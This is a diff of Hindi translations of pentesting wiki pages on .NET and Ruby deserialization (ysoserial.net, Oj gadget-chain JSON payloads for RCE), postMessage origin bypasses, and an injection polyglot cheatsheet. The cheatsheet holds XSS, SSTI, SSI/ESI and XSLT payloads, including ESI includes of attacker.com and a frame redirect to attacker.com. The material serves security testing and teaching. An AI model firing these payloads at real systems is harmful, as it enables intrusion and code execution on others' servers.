**पिछले कोड में बनाए गए एक्सप्लॉइट के लिए कमजोरियाँ हैं**। इसलिए यदि आप किसी .Net एप्लिकेशन में कुछ समान पाते हैं, तो इसका मतलब है कि वह एप्लिकेशन भी शायद कमजोर है।\
|
||||
इसलिए **`--test`** पैरामीटर हमें यह समझने की अनुमति देता है कि **कौन से कोड के टुकड़े** deserialization एक्सप्लॉइट के लिए **ysoserial.net** द्वारा बनाए गए हैं।
|
||||
In the **पिछले कोड में बनाए गए एक्सप्लॉइट के लिए संवेदनशीलता है**। इसलिए यदि आप किसी .Net एप्लिकेशन में कुछ समान पाते हैं, तो इसका मतलब है कि वह एप्लिकेशन भी संभवतः संवेदनशील है।\
|
||||
इसलिए **`--test`** पैरामीटर हमें यह समझने की अनुमति देता है कि **कौन से कोड के टुकड़े** deserialization एक्सप्लॉइट के लिए संवेदनशील हैं जो **ysoserial.net** बना सकता है।
|
||||
|
||||
### ViewState
|
||||
|
||||
[**कैसे \_\_ViewState पैरामीटर का शोषण करने की कोशिश करें**](exploiting-__viewstate-parameter.md) पर एक नज़र डालें **ताकि मनमाने कोड को निष्पादित किया जा सके।** यदि आप **पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों** को जानते हैं, तो [**कोड निष्पादित करने के लिए यह पोस्ट पढ़ें**](exploiting-__viewstate-knowing-the-secret.md)**।**
|
||||
[**कैसे \_\_ViewState पैरामीटर का शोषण करने की कोशिश करें**](exploiting-__viewstate-parameter.md) को देखें **ताकि मनमाने कोड को निष्पादित किया जा सके।** यदि आप **पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों** को जानते हैं, तो [**कोड निष्पादित करने के लिए यह पोस्ट पढ़ें**](exploiting-__viewstate-knowing-the-secret.md)**।**
|
||||
|
||||
### रोकथाम
|
||||
### Prevention
|
||||
|
||||
.Net में deserialization से संबंधित जोखिमों को कम करने के लिए:
|
||||
|
||||
- **डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकारों को परिभाषित करने की अनुमति देने से बचें।** जब संभव हो, `DataContractSerializer` या `XmlSerializer` का उपयोग करें।
|
||||
- **`JSON.Net` के लिए, `TypeNameHandling` को `None` पर सेट करें:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- **`JavaScriptSerializer` के साथ `JavaScriptTypeResolver` का उपयोग करने से बचें।**
|
||||
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, जिससे सेवा से इनकार के हमले हो सकते हैं।
|
||||
- **जोखिम भरे गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` इसके `Value` गुण के साथ, जिसका शोषण किया जा सकता है।
|
||||
- **प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें** ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे `DataContractSerializer` या `XmlSerializer` भी कमजोर हो जाएं।
|
||||
- **`JavaScriptSerializer` का उपयोग `JavaScriptTypeResolver` के साथ करने से बचें।**
|
||||
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के साथ अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की संपत्तियों को संशोधित कर सकता है, जिससे सेवा से इनकार के हमले हो सकते हैं।
|
||||
- **खतरनाक गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` इसके `Value` गुण के साथ, जिसका शोषण किया जा सकता है।
|
||||
- **प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें** ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे `DataContractSerializer` या `XmlSerializer` भी संवेदनशील हो जाएं।
|
||||
- **`BinaryFormatter` और `JSON.Net` के लिए एक कस्टम `SerializationBinder` का उपयोग करके श्वेत सूची नियंत्रण लागू करें।**
|
||||
- **.Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे प्रकारों का निर्माण न करें।
|
||||
- **संभावित जोखिम भरे कोड को** इंटरनेट एक्सेस वाले कोड से अलग करें ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर करने से बचा जा सके।
|
||||
- **संभावित रूप से जोखिम भरे कोड को** इंटरनेट एक्सेस वाले कोड से अलग करें ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर करने से बचा जा सके।
|
||||
|
||||
### **संदर्भ**
|
||||
### **References**
|
||||
|
||||
- Java और .Net JSON deserialization **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Java और .Net JSON deserialization **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** टॉक: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Ruby में, serialization **marshal** पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे **dump** कहा जाता है, का उपयोग एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए किया जाता है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, **load**, का उपयोग बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में बदलने के लिए किया जाता है, जिसे deserialization कहा जाता है।
|
||||
Ruby में, serialization **marshal** पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे **dump** के रूप में जाना जाता है, एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए उपयोग की जाती है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, **load**, एक बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में परिवर्तित करने के लिए उपयोग की जाती है, जिसे deserialization कहा जाता है।
|
||||
|
||||
सिरियलाइज्ड ऑब्जेक्ट्स को सुरक्षित करने के लिए, **Ruby HMAC (Hash-Based Message Authentication Code)** का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कुंजी कई संभावित स्थानों में से एक में संग्रहीत होती है:
|
||||
|
||||
@ -825,8 +825,8 @@ puts Base64.encode64(payload)
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
इसके अलावा, यदि केवल एक पैरामीटर **`.send()`** पर हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\
|
||||
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **उन आवश्यकताओं को पूरा करने वाले कुछ दिलचस्प मेथड्स खोजने के लिए एन्यूमरेट करना संभव है**।
|
||||
इसके अलावा, यदि **`.send()`** का केवल एक पैरामीटर हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\
|
||||
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **गिनना संभव है ताकि उन आवश्यकताओं को पूरा करने वाले कुछ दिलचस्प मेथड्स को पाया जा सके**।
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -854,7 +854,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
### Ruby _json pollution
|
||||
|
||||
जब शरीर में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए शरीर में `_json` नामक एक मान सेट करना भी संभव है जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
|
||||
जब किसी बॉडी में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए बॉडी में `_json` नामक एक मान सेट करना भी संभव है जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
|
||||
|
||||
अधिक जानकारी के लिए [Ruby _json pollution पृष्ठ](ruby-_json-pollution.md) पर जांचें।
|
||||
|
||||
@ -862,7 +862,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
यह तकनीक [**इस ब्लॉग पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) से ली गई थी।
|
||||
|
||||
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के भीतर जब भी इसे अनसीरियलाइज़ किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
|
||||
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के अनसीरियलाइज होने पर कॉल किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
@ -888,7 +888,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो इसके `hash` फ़ंक्शन के अंदर `to_s` को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिससे इसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ deserialization कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है।
|
||||
Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो अपने `hash` फ़ंक्शन के अंदर `to_s` को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिससे इसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ डेसिरियलाइजेशन कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है।
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -900,7 +900,7 @@ Oj का दुरुपयोग करने की कोशिश के
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो किसी अन्य गैजेट का दुरुपयोग करने की आवश्यकता है ताकि इसे कुछ इस तरह के पूर्ण RCE में परिवर्तित किया जा सके:
|
||||
इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो एक अन्य गैजेट का दुरुपयोग करने की आवश्यकता है ताकि इसे कुछ इस तरह से पूर्ण RCE में परिवर्तित किया जा सके:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
@ -922,6 +922,6 @@ Oj का दुरुपयोग करने की कोशिश के
|
||||
}
|
||||
}
|
||||
```
|
||||
अधिक जानकारी के लिए [**मूल पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) पर जाएं।
|
||||
ज्यादा जानकारी के लिए [**मूल पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) पर जाएं।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
";alert(0);//
|
||||
```
|
||||
## Open Redirect svg फ़ाइलें अपलोड करना
|
||||
```markup
|
||||
```html
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<svg
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
इन PoCs और Polygloths का लक्ष्य परीक्षक को एक तेज़ **सारांश** प्रदान करना है कि वह किन कमजोरियों का शिकार कर सकता है यदि उसका **इनपुट किसी तरह प्रतिक्रिया में परिलक्षित हो रहा है**।
|
||||
इन PoCs और Polygloths का लक्ष्य परीक्षक को एक तेज **सारांश** देना है कि वह किन कमजोरियों का शिकार कर सकता है यदि उसका **इनपुट किसी तरह प्रतिक्रिया में परिलक्षित हो रहा है**।
|
||||
|
||||
> [!WARNING]
|
||||
> यह **cheatsheet प्रत्येक कमजोरी के लिए परीक्षणों की एक व्यापक सूची का प्रस्ताव नहीं करती है**, केवल कुछ बुनियादी। यदि आप अधिक व्यापक परीक्षणों की तलाश कर रहे हैं, तो प्रस्तावित प्रत्येक कमजोरी तक पहुँचें।
|
||||
|
||||
> [!CAUTION]
|
||||
> आप **XXE जैसी सामग्री-प्रकार पर निर्भर इंजेक्शन नहीं पाएंगे**, क्योंकि आमतौर पर आप उन्हें स्वयं आजमाएंगे यदि आप xml डेटा भेजने वाला अनुरोध पाते हैं। आप यहाँ **डेटाबेस इंजेक्शन** भी नहीं पाएंगे क्योंकि भले ही कुछ सामग्री परिलक्षित हो सकती है, यह बैकएंड DB प्रौद्योगिकी और संरचना पर बहुत निर्भर करता है।
|
||||
> आप **Content-Type निर्भर इंजेक्शन जैसे XXE** नहीं पाएंगे, क्योंकि आमतौर पर आप उन्हें स्वयं आजमाएंगे यदि आप xml डेटा भेजने वाला अनुरोध पाते हैं। आप यहाँ **डेटाबेस इंजेक्शन** भी नहीं पाएंगे क्योंकि भले ही कुछ सामग्री परिलक्षित हो सकती है, यह बैकएंड DB प्रौद्योगिकी और संरचना पर बहुत निर्भर करता है।
|
||||
|
||||
## Polygloths list
|
||||
```python
|
||||
@ -52,7 +52,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
```
|
||||
## [Client Side Template Injection](../client-side-template-injection-csti.md)
|
||||
|
||||
### बुनियादी परीक्षण
|
||||
### मूल परीक्षण
|
||||
```
|
||||
{{7*7}}
|
||||
[7*7]
|
||||
@ -91,7 +91,7 @@ $(ls)
|
||||
## Dangling Markup
|
||||
|
||||
### Basic Tests
|
||||
```markup
|
||||
```html
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
|
||||
@ -130,14 +130,14 @@ javascript:alert(1)
|
||||
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
### मूल परीक्षण
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#exec cmd="ls" -->
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
### Polygloths
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
@ -147,7 +147,7 @@ Open Redirect के लिए उपयोग किए गए समान प
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
|
||||
|
||||
### Basic Tests
|
||||
```markup
|
||||
```html
|
||||
${{<%[%'"}}%\
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
@ -161,25 +161,25 @@ ${{7*7}}
|
||||
```
|
||||
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
|
||||
### बुनियादी परीक्षण
|
||||
```markup
|
||||
### मूल परीक्षण
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
### Polygloths
|
||||
```markup
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
## XSS
|
||||
|
||||
### मूल परीक्षण
|
||||
```markup
|
||||
```html
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
### Polygloths
|
||||
```markup
|
||||
```html
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
|
||||
@ -40,7 +40,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
|
||||
जैसा कि [**इस रिपोर्ट**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) में बताया गया है, यदि आप एक पृष्ठ पाते हैं जिसे **iframed** किया जा सकता है (कोई `X-Frame-Header` सुरक्षा नहीं) और जो **संवेदनशील** संदेश को **postMessage** के माध्यम से **wildcard** (\*) का उपयोग करके भेज रहा है, तो आप **iframe** के **origin** को **संशोधित** कर सकते हैं और **संवेदनशील** संदेश को एक डोमेन पर लीक कर सकते हैं जो आपके द्वारा नियंत्रित है।\
|
||||
ध्यान दें कि यदि पृष्ठ को iframed किया जा सकता है लेकिन **targetOrigin** **एक URL पर सेट है और wildcard पर नहीं**, तो यह **चाल काम नहीं करेगी**।
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
@ -56,8 +56,8 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||||
```
|
||||
## addEventListener शोषण
|
||||
|
||||
**`addEventListener`** वह फ़ंक्शन है जिसका उपयोग JS द्वारा उस फ़ंक्शन को घोषित करने के लिए किया जाता है जो **`postMessages`** की **उम्मीद कर रहा है**।\
|
||||
इससे मिलते-जुलते कोड का उपयोग किया जाएगा:
|
||||
**`addEventListener`** वह फ़ंक्शन है जिसका उपयोग JS द्वारा उस फ़ंक्शन को घोषित करने के लिए किया जाता है जो **`postMessages`** की अपेक्षा कर रहा है।\
|
||||
इसके समान एक कोड का उपयोग किया जाएगा:
|
||||
```javascript
|
||||
window.addEventListener(
|
||||
"message",
|
||||
@ -80,7 +80,7 @@ false
|
||||
|
||||
 (1).png>)
|
||||
|
||||
- डेवलपर टूल्स में _Elements --> Event Listeners_ पर **जाएं**
|
||||
- डेवलपर टूल्स में _Elements --> Event Listeners_ पर **जाएं**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -95,14 +95,14 @@ false
|
||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||||
```
|
||||
|
||||
- `String.prototype.search()` से **`search()`** विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। नियमित अभिव्यक्ति के अलावा कुछ भी पास करने से नियमित अभिव्यक्ति में निहित परिवर्तन होता है, जिससे यह विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि नियमित अभिव्यक्ति में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास करना संभव हो जाता है। उदाहरण के लिए:
|
||||
- `String.prototype.search()` से **`search()`** विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। किसी भी चीज़ को regexp के अलावा पास करने से regex में निहित परिवर्तन होता है, जिससे यह विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि regex में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास करना संभव हो जाता है। उदाहरण के लिए:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
|
||||
- **`match()`** फ़ंक्शन, `search()` के समान, नियमित अभिव्यक्तियों को संसाधित करता है। यदि नियमित अभिव्यक्ति ठीक से संरचित नहीं है, तो यह बायपास के लिए संवेदनशील हो सकता है।
|
||||
- **`escapeHtml`** फ़ंक्शन का उद्देश्य इनपुट को स्वच्छ करना है। हालाँकि, यह एक नयाescaped ऑब्जेक्ट नहीं बनाता है बल्कि मौजूदा ऑब्जेक्ट की प्रॉपर्टीज़ को ओवरराइट करता है। इस व्यवहार का शोषण किया जा सकता है। विशेष रूप से, यदि एक ऑब्जेक्ट को इस तरह से हेरफेर किया जा सकता है कि इसकी नियंत्रित प्रॉपर्टी `hasOwnProperty` को मान्यता नहीं देती है, तो `escapeHtml` अपेक्षित रूप से कार्य नहीं करेगा। यह नीचे दिए गए उदाहरणों में प्रदर्शित किया गया है:
|
||||
- **`match()`** फ़ंक्शन, `search()` के समान, regex को संसाधित करता है। यदि regex ठीक से संरचित नहीं है, तो यह बायपास के लिए संवेदनशील हो सकता है।
|
||||
- **`escapeHtml`** फ़ंक्शन का उद्देश्य इनपुट को स्वच्छ करना है। हालाँकि, यह एक नया escaped ऑब्जेक्ट नहीं बनाता है बल्कि मौजूदा ऑब्जेक्ट की प्रॉपर्टीज़ को ओवरराइट करता है। इस व्यवहार का शोषण किया जा सकता है। विशेष रूप से, यदि एक ऑब्जेक्ट को इस तरह से हेरफेर किया जा सकता है कि इसकी नियंत्रित प्रॉपर्टी `hasOwnProperty` को मान्यता नहीं देती है, तो `escapeHtml` अपेक्षित रूप से कार्य नहीं करेगा। यह नीचे दिए गए उदाहरणों में प्रदर्शित किया गया है:
|
||||
|
||||
- अपेक्षित विफलता:
|
||||
|
||||
@ -120,13 +120,13 @@ result = u(new Error("'\"<b>\\"))
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट विशेष रूप से शोषण योग्य है क्योंकि इसकी पढ़ने योग्य `name` प्रॉपर्टी है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, जो `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं।
|
||||
इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट इसकी पढ़ने योग्य `name` प्रॉपर्टी के कारण विशेष रूप से शोषण योग्य है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, जो `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं।
|
||||
|
||||
- JavaScript में `document.domain` प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक ढील दी जा सके।
|
||||
- JavaScript में `document.domain` प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक लचीलापन मिलता है।
|
||||
|
||||
### e.origin == window.origin बायपास
|
||||
|
||||
जब %%%%%% का उपयोग करके एक **सैंडबॉक्स्ड iframe** के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह विशेष रूप से **सैंडबॉक्स विशेषताओं** और उनकी सुरक्षा और कार्यक्षमता पर प्रभावों के साथ काम करते समय महत्वपूर्ण है।
|
||||
जब एक वेब पृष्ठ को **सैंडबॉक्स्ड iframe** में %%%%%% का उपयोग करके एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह विशेष रूप से **सैंडबॉक्स विशेषताओं** और उनकी सुरक्षा और कार्यक्षमता पर प्रभावों के संबंध में महत्वपूर्ण है।
|
||||
|
||||
सैंडबॉक्स विशेषता में **`allow-popups`** निर्दिष्ट करने से, iframe के भीतर से खोला गया कोई भी पॉपअप विंडो अपने माता-पिता की सैंडबॉक्स प्रतिबंधों को विरासत में लेता है। इसका मतलब है कि जब तक **`allow-popups-to-escape-sandbox`** विशेषता भी शामिल नहीं की जाती, पॉपअप विंडो की उत्पत्ति भी `null` पर सेट होती है, जो iframe की उत्पत्ति के साथ मेल खाती है।
|
||||
|
||||
@ -147,7 +147,7 @@ if (received_message.source !== window) {
|
||||
return
|
||||
}
|
||||
```
|
||||
आप **`e.source`** को null करने के लिए एक **iframe** बना सकते हैं जो **postMessage** भेजता है और जिसे **तुरंत हटा दिया जाता है**।
|
||||
आप **`e.source`** को null करने के लिए एक **iframe** बना सकते हैं जो **postMessage** भेजता है और **तुरंत हटा दिया जाता है**।
|
||||
|
||||
अधिक जानकारी के लिए **पढ़ें:**
|
||||
|
||||
@ -158,8 +158,8 @@ bypassing-sop-with-iframes-2.md
|
||||
### X-Frame-Header बायपास
|
||||
|
||||
इन हमलों को करने के लिए, आदर्श रूप से आप **पीड़ित वेब पृष्ठ** को एक `iframe` के अंदर रख पाएंगे। लेकिन कुछ हेडर जैसे `X-Frame-Header` उस **व्यवहार** को **रोक** सकते हैं।\
